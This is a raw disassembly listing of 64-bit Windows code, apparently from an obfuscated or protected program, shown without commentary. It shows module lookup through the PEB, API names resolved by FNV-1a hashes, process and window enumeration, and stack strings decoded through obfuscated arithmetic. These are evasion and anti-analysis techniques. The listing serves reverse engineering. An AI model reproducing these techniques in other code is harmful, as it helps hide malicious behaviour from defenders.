mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154d32
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154d23
cmp edx, esi
jne 0x140154e14
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140154e14
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140154e14
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140154d99
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154d8e
cmp edx, r14d
je 0x140154daf
test r9d, r9d
jne 0x140154d79
jmp 0x140154e14
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140154e29
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140154e29
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140154df1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140154de3
jmp 0x140154e07
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140154dfa
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154e26
cmp qword [rbx + 0x30], r13
jne 0x140154cf3
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140154ea1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x140154e89
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140154e6d
cmp edx, 0x610c0de3
je 0x140154ef7
mov r8, qword [r8]
cmp r8, r10
je 0x140154e97
cmp qword [r8 + 0x30], r13
jne 0x140154e53
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140154ef2
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140154ed6
cmp ecx, 0xe463da3c
je 0x140154efd
add r9d, edi
jmp 0x140154eba
mov r8, qword [r8 + 0x30]
jmp 0x140154e9a
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140155090
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154f9d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154f90
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154f81
cmp edx, esi
jne 0x14015506f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015506f
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015506f
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154ff1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140154fe6
cmp edx, r14d
je 0x140155007
test r10d, r10d
jne 0x140154fd1
jmp 0x14015506f
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140155084
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140155084
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140155062
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x14015503e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x140155055
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140155081
cmp qword [rbx + 0x30], r13
jne 0x140154f51
mov r10, r13
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11b8]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14015520f
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140155121
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140155114
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140155105
cmp edx, esi
jne 0x1401551f3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401551f3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401551f3
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140155175
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015516a
cmp edx, r14d
je 0x14015518b
test r11d, r11d
jne 0x140155155
jmp 0x1401551f3
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140155208
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140155208
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401551e6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1401551c2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x1401551d9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140155205
cmp qword [rbx + 0x30], r13
jne 0x1401550d5
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov r14d, 0x40
or r12, 0xffffffffffffffff
lea r8, [rbp + 0x11bc]
mov edx, 0x1000
lea rcx, [rbp + 0x31f0]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x140155278
mov eax, dword [rbp + 0x11bc]
shr eax, 2
test eax, eax
je 0x140155278
lea rbx, [rbp + 0x31f0]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1401a293c
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x140155268
xor edx, edx
lea rcx, [0x14012d7fc]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.140103220
test al, al
jne 0x14015a405
mov byte [rbp + 0xdf0], 0x9b
mov byte [rbp + 0xdf1], 0x59
mov byte [rbp + 0xdf2], 0x80
mov byte [rbp + 0xdf3], 0x5b
mov byte [rbp + 0xdf4], 0xa0
mov byte [rbp + 0xdf5], 0x45
mov byte [rbp + 0xdf6], 0xbb
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xdf9], 0x41
mov byte [rbp + 0xdfa], 0xaf
mov byte [rbp + 0xdfb], 0x43
mov byte [rbp + 0xdfc], 0xde
mov byte [rbp + 0xdfd], Ordinal_79
mov byte [rbp + 0xdfe], 0xdd
mov byte [rbp + 0xdff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xe00], 0xac
mov byte [rbp + 0xe01], Ordinal_79
mov byte [rbp + 0xe02], 0x86
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x99
mov byte [rbp + 0xe05], 0x75
mov byte [rbp + 0xe06], 0x98
mov byte [rbp + 0xe07], 0x77
mov byte [rbp + 0xe08], __WSAFDIsSet
mov byte [rbp + 0xe09], WSACleanup
mov byte [rbp + 0xe0a], 0xef
mov byte [rbp + 0xe0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe0c], 0xe8
mov byte [rbp + 0xe0d], 0x7d
mov byte [rbp + 0xe0e], 0xe2
mov byte [rbp + 0xe0f], 0x7f
mov byte [rbp + 0xe10], 0x9c
mov byte [rbp + 0xe11], 0x79
mov byte [rbp + 0xe12], 0xbb
mov byte [rbp + 0xe13], 0x7b
mov byte [rbp + 0xe14], 0xf4
mov byte [rbp + 0xe15], 0x65
mov byte [rbp + 0xe16], 0xf6
mov byte [rbp + 0xe17], 0x67
mov byte [rbp + 0xe18], 0xac
mov byte [rbp + 0xe19], 0x61
mov byte [rbp + 0xe1a], 0x83
mov byte [rbp + 0xe1b], 0x63
mov byte [rbp + 0xe1c], 0xf0
mov byte [rbp + 0xe1d], WSASetLastError
mov byte [rbp + 0xe1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xe20], Ordinal_143
mov byte [rbp + 0xe21], WSAGetLastError
mov byte [rbp + 0xe22], 0xa7
mov byte [rbp + 0xe23], WSASetLastError
mov byte [rbp + 0xe24], 0x88
mov byte [rbp + 0xe25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xe26], 0xfe
mov byte [rbp + 0xe27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xe28], 0xfd
mov byte [rbp + 0xe29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe2a], 0x80
mov byte [rbp + 0xe2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xe2c], 0xfd
mov byte [rbp + 0xe2d], Ordinal_32
mov byte [rbp + 0xe2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe2f], Ordinal_32
mov byte [rbp + 0xe30], 0xfa
mov byte [rbp + 0xe31], Ordinal_27
mov byte [rbp + 0xe32], 0xf3
mov byte [rbp + 0xe33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xe34], __WSAFDIsSet
mov byte [rbp + 0xe35], 5
mov byte [rbp + 0xe36], 6
mov byte [rbp + 0xe37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe38], xmm0
mov qword [rbp + 0xe48], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x140155ebf
movzx r8d, byte [rbp + r10 + 0xdf0]
mov edx, r8d
cmp rbx, r10
ja 0x140155eb6
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140155502
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x140155539
je 0x140155e32
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140155de1
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140155d82
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140155d5c
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140155ead
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140155571
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1401555a5
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140155d13
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140155cef
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140155ccc
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140155ca9
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401558dd
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401558ba
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401558a6
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140155883
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140155860
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14015583d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140155816
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140155e89
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140155e65
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401556cf
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401557ff
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401557d0
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401555b7
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401557bc
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401557ab
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140155788
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x140155761
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14015573a
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140155717
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401556f4
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401555b7
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, sil
jmp 0x1401555aa
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140155d31
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140155d57
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140155d7a
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140155dd2
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140155c70
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140155825
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401559c3
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xdf0], dil
jmp 0x140155e5d
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401558f3
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140155dfe
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140155c70
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140155dd2
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140155d7a
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140155cfe
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140155d31
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401559ae
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140155c49
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140155a8f
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x140155c21
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140155b33
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x1401557f2
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140155d31
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401559db
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140155e4e
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140155a07
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140155c70
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140155a33
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140155dcf
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140155a5f
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140155da4
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140155903
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140155d31
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140155abb
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x140155d31
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140155ad8
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140155cfe
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140155b04
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x140155dd2
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140155940
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140155c70
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140155b50
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401559c3
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140155b7c
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140155dfe
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140155ba8
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140155dcf
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140155bc5
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140155d91
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140155bf1
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140155d7a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015597c
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140155d57
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xdf0]
sub dil, al
sub dil, 0x20
jmp 0x140155d9e
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xdf0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xdf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140155dfe
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140155dd2
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140155da4
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140155d57
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add r9, r15
jmp 0x140155d7a
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r15
jmp 0x140155e5d
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0xdf0], cl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x140155e5d
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140155e4e
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xdf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401554b7
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x1401554b4
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401554a4
lea rdx, [rbp + 0x16a1000]
jmp 0x140155ec6
lea rdx, [rbp + 0x6bcb8c]
jmp 0x140155ec6
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x118]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2630]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140155efb
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x2630]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2630]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2630]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xa00], 0x9b
mov byte [rbp + 0xa01], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa02], 0x90
mov byte [rbp + 0xa03], 0xdb
mov byte [rbp + 0xa04], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa05], Ordinal_217
mov byte [rbp + 0xa06], 0x7b
mov byte [rbp + 0xa07], Ordinal_217
mov byte [rbp + 0xa08], 0x43
mov byte [rbp + 0xa09], Ordinal_211
mov byte [rbp + 0xa0a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa0b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa0c], 0x5e
mov byte [rbp + 0xa0d], Ordinal_211
mov byte [rbp + 0xa0e], 0x5d
mov byte [rbp + 0xa0f], Ordinal_211
mov byte [rbp + 0xa10], WSASetLastError
mov byte [rbp + 0xa11], 0xc9
mov byte [rbp + 0xa12], 0x7a
mov byte [rbp + 0xa13], 0xcb
mov byte [rbp + 0xa14], Ordinal_79
mov byte [rbp + 0xa15], Ordinal_200
mov byte [rbp + 0xa16], 0x64
mov byte [rbp + 0xa17], Ordinal_200
mov byte [rbp + 0xa18], 0x54
mov byte [rbp + 0xa19], 0xc1
mov byte [rbp + 0xa1a], 0x5b
mov byte [rbp + 0xa1b], Ordinal_200
mov byte [rbp + 0xa1c], 0x9f
mov byte [rbp + 0xa1d], 0x3d
mov byte [rbp + 0xa1e], 0x9a
mov byte [rbp + 0xa1f], 0x3f
mov byte [rbp + 0xa20], 0x84
mov byte [rbp + 0xa21], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa22], 0xa8
mov byte [rbp + 0xa23], Ordinal_60
mov byte [rbp + 0xa24], 0xad
mov byte [rbp + 0xa25], gethostname
mov byte [rbp + 0xa26], 0xb8
mov byte [rbp + 0xa27], Ordinal_60
mov byte [rbp + 0xa28], 0xad
mov byte [rbp + 0xa29], Ordinal_50
mov byte [rbp + 0xa2a], 0xa0
mov byte [rbp + 0xa2b], gethostname
mov byte [rbp + 0xa2c], 0xbf
